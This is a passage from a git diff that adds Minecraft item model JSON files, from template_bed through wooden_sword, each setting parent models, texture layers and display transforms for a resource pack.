b/src/assets/minecraft/models/item/template_bed.json @@ -0,0 +1,35 @@ +{ + "parent": "builtin/entity", + "display": { + "thirdperson_righthand": { + "rotation": [ 30, 160, 0 ], + "translation": [ 0, 3, -2], + "scale":[ 0.23, 0.23, 0.23] + }, + "firstperson_righthand": { + "rotation": [ 30, 160, 0 ], + "translation": [ 0, 3, 0], + "scale":[ 0.375, 0.375, 0.375] + }, + "gui": { + "rotation": [ 30, 160, 0 ], + "translation": [ 2, 3, 0], + "scale":[ 0.5325, 0.5325, 0.5325] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 1, 2], + "scale":[ 0.25, 0.25, 0.25] + }, + "head": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 10, -8], + "scale":[ 1,1,1 ] + }, + "fixed": { + "rotation": [ 270, 0, 0 ], + "translation": [ 0, 4, -2], + "scale":[ 0.5, 0.5, 0.5] + } + } +} diff --git a/src/assets/minecraft/models/item/template_shulker_box.json b/src/assets/minecraft/models/item/template_shulker_box.json new file mode 100644 index 00000000..7bfe2e69 --- /dev/null +++ b/src/assets/minecraft/models/item/template_shulker_box.json @@ -0,0 +1,35 @@ +{ + "parent": "builtin/entity", + "display": { + "gui": { + "rotation": [ 30, 45, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.625, 0.625, 0.625 ] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 3, 0], + "scale":[ 0.25, 0.25, 0.25 ] + }, + "head": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 1, 1, 1] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.5, 0.5, 0.5 ] + }, + "thirdperson_righthand": { + "rotation": [ 75, 315, 0 ], + "translation": [ 0, 2.5, 0], + "scale": [ 0.375, 0.375, 0.375 ] + }, + "firstperson_righthand": { + "rotation": [ 0, 315, 0 ], + "translation": [ 0, 0, 0], + "scale": [ 0.4, 0.4, 0.4 ] + } + } +} diff --git a/src/assets/minecraft/models/item/template_skull.json b/src/assets/minecraft/models/item/template_skull.json new file mode 100644 index 00000000..232416fc --- /dev/null +++ b/src/assets/minecraft/models/item/template_skull.json @@ -0,0 +1,28 @@ +{ + "parent": "builtin/entity", + "textures": { + "particle": "block/soul_sand" + }, + "display": { + "gui": { + "rotation": [ 30, 45, 0 ], + "translation": [ 0, 3, 0 ], + "scale": [ 1, 1, 1 ] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 4, 0], + "scale":[ 1, 1, 1 ] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 3, 0 ], + "scale": [ 0.5, 0.5, 0.5 ] + }, + "thirdperson_righthand": { + "rotation": [ 45, 45, 0 ], + "translation": [ 0, 3, 0 ], + "scale": [ 0.5, 0.5, 0.5 ] + } + } +} diff --git a/src/assets/minecraft/models/item/template_spawn_egg.json b/src/assets/minecraft/models/item/template_spawn_egg.json new file mode 100644 index 00000000..4ae4b4c2 --- /dev/null +++ b/src/assets/minecraft/models/item/template_spawn_egg.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/spawn_egg", + "layer1": "item/spawn_egg_overlay" + } +} diff --git a/src/assets/minecraft/models/item/terracotta.json b/src/assets/minecraft/models/item/terracotta.json new file mode 100644 index 00000000..c443c890 --- /dev/null +++ b/src/assets/minecraft/models/item/terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tipped_arrow.json b/src/assets/minecraft/models/item/tipped_arrow.json new file mode 100644 index 00000000..578defec --- /dev/null +++ b/src/assets/minecraft/models/item/tipped_arrow.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/tipped_arrow_head", + "layer1": "item/tipped_arrow_base" + } +} diff --git a/src/assets/minecraft/models/item/tnt.json b/src/assets/minecraft/models/item/tnt.json new file mode 100644 index 00000000..688d3f95 --- /dev/null +++ b/src/assets/minecraft/models/item/tnt.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/tnt" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tnt_minecart.json b/src/assets/minecraft/models/item/tnt_minecart.json new file mode 100644 index 00000000..c3c32604 --- /dev/null +++ b/src/assets/minecraft/models/item/tnt_minecart.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/tnt_minecart" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/torch.json b/src/assets/minecraft/models/item/torch.json new file mode 100644 index 00000000..a734b43b --- /dev/null +++ b/src/assets/minecraft/models/item/torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/totem_of_undying.json b/src/assets/minecraft/models/item/totem_of_undying.json new file mode 100644 index 00000000..abefc057 --- /dev/null +++ b/src/assets/minecraft/models/item/totem_of_undying.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/totem_of_undying" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/trader_llama_spawn_egg.json b/src/assets/minecraft/models/item/trader_llama_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/trader_llama_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/trapped_chest.json b/src/assets/minecraft/models/item/trapped_chest.json new file mode 100644 index 00000000..c7435714 --- /dev/null +++ b/src/assets/minecraft/models/item/trapped_chest.json @@ -0,0 +1,3 @@ +{ + "parent": "item/chest" +} diff --git a/src/assets/minecraft/models/item/trident.json b/src/assets/minecraft/models/item/trident.json new file mode 100644 index 00000000..f129b55e --- /dev/null +++ b/src/assets/minecraft/models/item/trident.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/trident" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/trident_in_hand.json b/src/assets/minecraft/models/item/trident_in_hand.json new file mode 100644 index 00000000..6685dcca --- /dev/null +++ b/src/assets/minecraft/models/item/trident_in_hand.json @@ -0,0 +1,52 @@ +{ + "parent": "builtin/entity", + "gui_light": "front", + "textures": { + "particle": "item/trident" + }, + "display": { + "thirdperson_righthand": { + "rotation": [ 0, 60, 0 ], + "translation": [ 11, 17, -2 ], + "scale": [ 1, 1, 1 ] + }, + "thirdperson_lefthand": { + "rotation": [ 0, 60, 0 ], + "translation": [ 3, 17, 12 ], + "scale": [ 1, 1, 1 ] + }, + "firstperson_righthand": { + "rotation": [ 0, -90, 25 ], + "translation": [ -3, 17, 1], + "scale": [ 1, 1, 1 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, 90, -25 ], + "translation": [ 13, 17, 1], + "scale": [ 1, 1, 1 ] + }, + "gui": { + "rotation": [ 15, -25, -5 ], + "translation": [ 2, 3, 0 ], + "scale": [ 0.65, 0.65, 0.65 ] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "translation": [ -2, 4, -5], + "scale":[ 0.5, 0.5, 0.5] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 4, 4, 2], + "scale":[ 0.25, 0.25, 0.25] + } + }, + "overrides": [ + { + "predicate": { + "throwing": 1 + }, + "model": "item/trident_throwing" + } + ] +} diff --git a/src/assets/minecraft/models/item/trident_throwing.json b/src/assets/minecraft/models/item/trident_throwing.json new file mode 100644 index 00000000..fb8e96a3 --- /dev/null +++ b/src/assets/minecraft/models/item/trident_throwing.json @@ -0,0 +1,44 @@ +{ + "parent": "builtin/entity", + "gui_light": "front", + "textures": { + "particle": "item/trident" + }, + "display": { + "thirdperson_righthand": { + "rotation": [ 0, 90, 180 ], + "translation": [ 8, -17, 9 ], + "scale": [ 1, 1, 1 ] + }, + "thirdperson_lefthand": { + "rotation": [ 0, 90, 180 ], + "translation": [ 8, -17, -7 ], + "scale": [ 1, 1, 1 ] + }, + "firstperson_righthand": { + "rotation": [ 0, -90, 25 ], + "translation": [ -3, 17, 1], + "scale": [ 1, 1, 1 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, 90, -25 ], + "translation": [ 13, 17, 1], + "scale": [ 1, 1, 1 ] + }, + "gui": { + "rotation": [ 15, -25, -5 ], + "translation": [ 2, 3, 0 ], + "scale": [ 0.65, 0.65, 0.65 ] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "translation": [ -2, 4, -5], + "scale":[ 0.5, 0.5, 0.5] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 4, 4, 2], + "scale":[ 0.25, 0.25, 0.25] + } + } +} diff --git a/src/assets/minecraft/models/item/tripwire_hook.json b/src/assets/minecraft/models/item/tripwire_hook.json new file mode 100644 index 00000000..b4a83abd --- /dev/null +++ b/src/assets/minecraft/models/item/tripwire_hook.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/tripwire_hook" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tropical_fish.json b/src/assets/minecraft/models/item/tropical_fish.json new file mode 100644 index 00000000..d8e9ebc6 --- /dev/null +++ b/src/assets/minecraft/models/item/tropical_fish.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/tropical_fish" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tropical_fish_bucket.json b/src/assets/minecraft/models/item/tropical_fish_bucket.json new file mode 100644 index 00000000..2ea21229 --- /dev/null +++ b/src/assets/minecraft/models/item/tropical_fish_bucket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/tropical_fish_bucket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tropical_fish_spawn_egg.json b/src/assets/minecraft/models/item/tropical_fish_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/tropical_fish_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tube_coral.json b/src/assets/minecraft/models/item/tube_coral.json new file mode 100644 index 00000000..dc0358e1 --- /dev/null +++ b/src/assets/minecraft/models/item/tube_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/tube_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tube_coral_block.json b/src/assets/minecraft/models/item/tube_coral_block.json new file mode 100644 index 00000000..14e2d576 --- /dev/null +++ b/src/assets/minecraft/models/item/tube_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/tube_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/tube_coral_fan.json b/src/assets/minecraft/models/item/tube_coral_fan.json new file mode 100644 index 00000000..76c880f7 --- /dev/null +++ b/src/assets/minecraft/models/item/tube_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/tube_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/turtle_egg.json b/src/assets/minecraft/models/item/turtle_egg.json new file mode 100644 index 00000000..bbc29d4a --- /dev/null +++ b/src/assets/minecraft/models/item/turtle_egg.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/turtle_egg" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/turtle_helmet.json b/src/assets/minecraft/models/item/turtle_helmet.json new file mode 100644 index 00000000..60d78346 --- /dev/null +++ b/src/assets/minecraft/models/item/turtle_helmet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/turtle_helmet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/turtle_spawn_egg.json b/src/assets/minecraft/models/item/turtle_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/turtle_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/twisting_vines.json b/src/assets/minecraft/models/item/twisting_vines.json new file mode 100644 index 00000000..fe4d57c0 --- /dev/null +++ b/src/assets/minecraft/models/item/twisting_vines.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/twisting_vines_plant" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/vex_spawn_egg.json b/src/assets/minecraft/models/item/vex_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/vex_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/villager_spawn_egg.json b/src/assets/minecraft/models/item/villager_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/villager_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/vindicator_spawn_egg.json b/src/assets/minecraft/models/item/vindicator_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/vindicator_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/vine.json b/src/assets/minecraft/models/item/vine.json new file mode 100644 index 00000000..c1eaec40 --- /dev/null +++ b/src/assets/minecraft/models/item/vine.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/vine" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wandering_trader_spawn_egg.json b/src/assets/minecraft/models/item/wandering_trader_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/wandering_trader_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_button.json b/src/assets/minecraft/models/item/warped_button.json new file mode 100644 index 00000000..182a0ac6 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_door.json b/src/assets/minecraft/models/item/warped_door.json new file mode 100644 index 00000000..5bc37290 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/warped_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_fence.json b/src/assets/minecraft/models/item/warped_fence.json new file mode 100644 index 00000000..d45dd46d --- /dev/null +++ b/src/assets/minecraft/models/item/warped_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_fence_gate.json b/src/assets/minecraft/models/item/warped_fence_gate.json new file mode 100644 index 00000000..1f521bc7 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_fence_gate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_fence_gate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_fungus.json b/src/assets/minecraft/models/item/warped_fungus.json new file mode 100644 index 00000000..eecb3bfd --- /dev/null +++ b/src/assets/minecraft/models/item/warped_fungus.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/warped_fungus" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_fungus_on_a_stick.json b/src/assets/minecraft/models/item/warped_fungus_on_a_stick.json new file mode 100644 index 00000000..562fe25c --- /dev/null +++ b/src/assets/minecraft/models/item/warped_fungus_on_a_stick.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld_rod", + "textures": { + "layer0": "minecraft:item/warped_fungus_on_a_stick" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_hyphae.json b/src/assets/minecraft/models/item/warped_hyphae.json new file mode 100644 index 00000000..6cc4c5a4 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_hyphae.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_hyphae" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_nylium.json b/src/assets/minecraft/models/item/warped_nylium.json new file mode 100644 index 00000000..20309492 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_nylium.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_nylium" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_planks.json b/src/assets/minecraft/models/item/warped_planks.json new file mode 100644 index 00000000..92cfb4ca --- /dev/null +++ b/src/assets/minecraft/models/item/warped_planks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_planks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_pressure_plate.json b/src/assets/minecraft/models/item/warped_pressure_plate.json new file mode 100644 index 00000000..58d9b443 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_roots.json b/src/assets/minecraft/models/item/warped_roots.json new file mode 100644 index 00000000..d44aa577 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_roots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/warped_roots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_sign.json b/src/assets/minecraft/models/item/warped_sign.json new file mode 100644 index 00000000..82db6f27 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_sign.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/warped_sign" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_slab.json b/src/assets/minecraft/models/item/warped_slab.json new file mode 100644 index 00000000..ce7153c4 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_stairs.json b/src/assets/minecraft/models/item/warped_stairs.json new file mode 100644 index 00000000..08260fdd --- /dev/null +++ b/src/assets/minecraft/models/item/warped_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_stem.json b/src/assets/minecraft/models/item/warped_stem.json new file mode 100644 index 00000000..0bab3df6 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_stem.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_stem" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_trapdoor.json b/src/assets/minecraft/models/item/warped_trapdoor.json new file mode 100644 index 00000000..c716c468 --- /dev/null +++ b/src/assets/minecraft/models/item/warped_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/warped_wart_block.json b/src/assets/minecraft/models/item/warped_wart_block.json new file mode 100644 index 00000000..754439ab --- /dev/null +++ b/src/assets/minecraft/models/item/warped_wart_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/warped_wart_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/water_bucket.json b/src/assets/minecraft/models/item/water_bucket.json new file mode 100644 index 00000000..af17e57d --- /dev/null +++ b/src/assets/minecraft/models/item/water_bucket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/water_bucket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/weeping_vines.json b/src/assets/minecraft/models/item/weeping_vines.json new file mode 100644 index 00000000..834b71c5 --- /dev/null +++ b/src/assets/minecraft/models/item/weeping_vines.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/weeping_vines_plant" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wet_sponge.json b/src/assets/minecraft/models/item/wet_sponge.json new file mode 100644 index 00000000..d662daae --- /dev/null +++ b/src/assets/minecraft/models/item/wet_sponge.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/wet_sponge" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wheat.json b/src/assets/minecraft/models/item/wheat.json new file mode 100644 index 00000000..f77a8c8f --- /dev/null +++ b/src/assets/minecraft/models/item/wheat.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/wheat" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wheat_seeds.json b/src/assets/minecraft/models/item/wheat_seeds.json new file mode 100644 index 00000000..8fd9068f --- /dev/null +++ b/src/assets/minecraft/models/item/wheat_seeds.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/wheat_seeds" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_banner.json b/src/assets/minecraft/models/item/white_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/white_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_bed.json b/src/assets/minecraft/models/item/white_bed.json new file mode 100644 index 00000000..93d81aff --- /dev/null +++ b/src/assets/minecraft/models/item/white_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/white_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_carpet.json b/src/assets/minecraft/models/item/white_carpet.json new file mode 100644 index 00000000..8ef6f034 --- /dev/null +++ b/src/assets/minecraft/models/item/white_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/white_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_concrete.json b/src/assets/minecraft/models/item/white_concrete.json new file mode 100644 index 00000000..16475ed4 --- /dev/null +++ b/src/assets/minecraft/models/item/white_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/white_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_concrete_powder.json b/src/assets/minecraft/models/item/white_concrete_powder.json new file mode 100644 index 00000000..c001b383 --- /dev/null +++ b/src/assets/minecraft/models/item/white_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/white_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_dye.json b/src/assets/minecraft/models/item/white_dye.json new file mode 100644 index 00000000..68b02c07 --- /dev/null +++ b/src/assets/minecraft/models/item/white_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/white_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_glazed_terracotta.json b/src/assets/minecraft/models/item/white_glazed_terracotta.json new file mode 100644 index 00000000..55881dbc --- /dev/null +++ b/src/assets/minecraft/models/item/white_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/white_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_shulker_box.json b/src/assets/minecraft/models/item/white_shulker_box.json new file mode 100644 index 00000000..6fd0156e --- /dev/null +++ b/src/assets/minecraft/models/item/white_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/white_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_stained_glass.json b/src/assets/minecraft/models/item/white_stained_glass.json new file mode 100644 index 00000000..28c61d95 --- /dev/null +++ b/src/assets/minecraft/models/item/white_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/white_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_stained_glass_pane.json b/src/assets/minecraft/models/item/white_stained_glass_pane.json new file mode 100644 index 00000000..dbe66a16 --- /dev/null +++ b/src/assets/minecraft/models/item/white_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/white_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_terracotta.json b/src/assets/minecraft/models/item/white_terracotta.json new file mode 100644 index 00000000..973fa966 --- /dev/null +++ b/src/assets/minecraft/models/item/white_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/white_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_tulip.json b/src/assets/minecraft/models/item/white_tulip.json new file mode 100644 index 00000000..f1940906 --- /dev/null +++ b/src/assets/minecraft/models/item/white_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/white_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/white_wool.json b/src/assets/minecraft/models/item/white_wool.json new file mode 100644 index 00000000..5908f340 --- /dev/null +++ b/src/assets/minecraft/models/item/white_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/white_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/witch_spawn_egg.json b/src/assets/minecraft/models/item/witch_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/witch_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wither_rose.json b/src/assets/minecraft/models/item/wither_rose.json new file mode 100644 index 00000000..9579e7c4 --- /dev/null +++ b/src/assets/minecraft/models/item/wither_rose.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/wither_rose" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wither_skeleton_skull.json b/src/assets/minecraft/models/item/wither_skeleton_skull.json new file mode 100644 index 00000000..364b6e65 --- /dev/null +++ b/src/assets/minecraft/models/item/wither_skeleton_skull.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_skull" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wither_skeleton_spawn_egg.json b/src/assets/minecraft/models/item/wither_skeleton_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/wither_skeleton_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wolf_spawn_egg.json b/src/assets/minecraft/models/item/wolf_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/wolf_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wooden_axe.json b/src/assets/minecraft/models/item/wooden_axe.json new file mode 100644 index 00000000..e08423db --- /dev/null +++ b/src/assets/minecraft/models/item/wooden_axe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/wooden_axe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wooden_hoe.json b/src/assets/minecraft/models/item/wooden_hoe.json new file mode 100644 index 00000000..a925c76b --- /dev/null +++ b/src/assets/minecraft/models/item/wooden_hoe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/wooden_hoe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wooden_pickaxe.json b/src/assets/minecraft/models/item/wooden_pickaxe.json new file mode 100644 index 00000000..5b9bbab7 --- /dev/null +++ b/src/assets/minecraft/models/item/wooden_pickaxe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/wooden_pickaxe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wooden_shovel.json b/src/assets/minecraft/models/item/wooden_shovel.json new file mode 100644 index 00000000..7c4d8287 --- /dev/null +++ b/src/assets/minecraft/models/item/wooden_shovel.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/wooden_shovel" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/wooden_sword.json b/src/assets/minecraft/models/item/wooden_sword.json new file mode 100644 index 00000000..4024a58a --- /dev/null +++ b/src/assets/minecraft/models/item/wooden_sword.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": 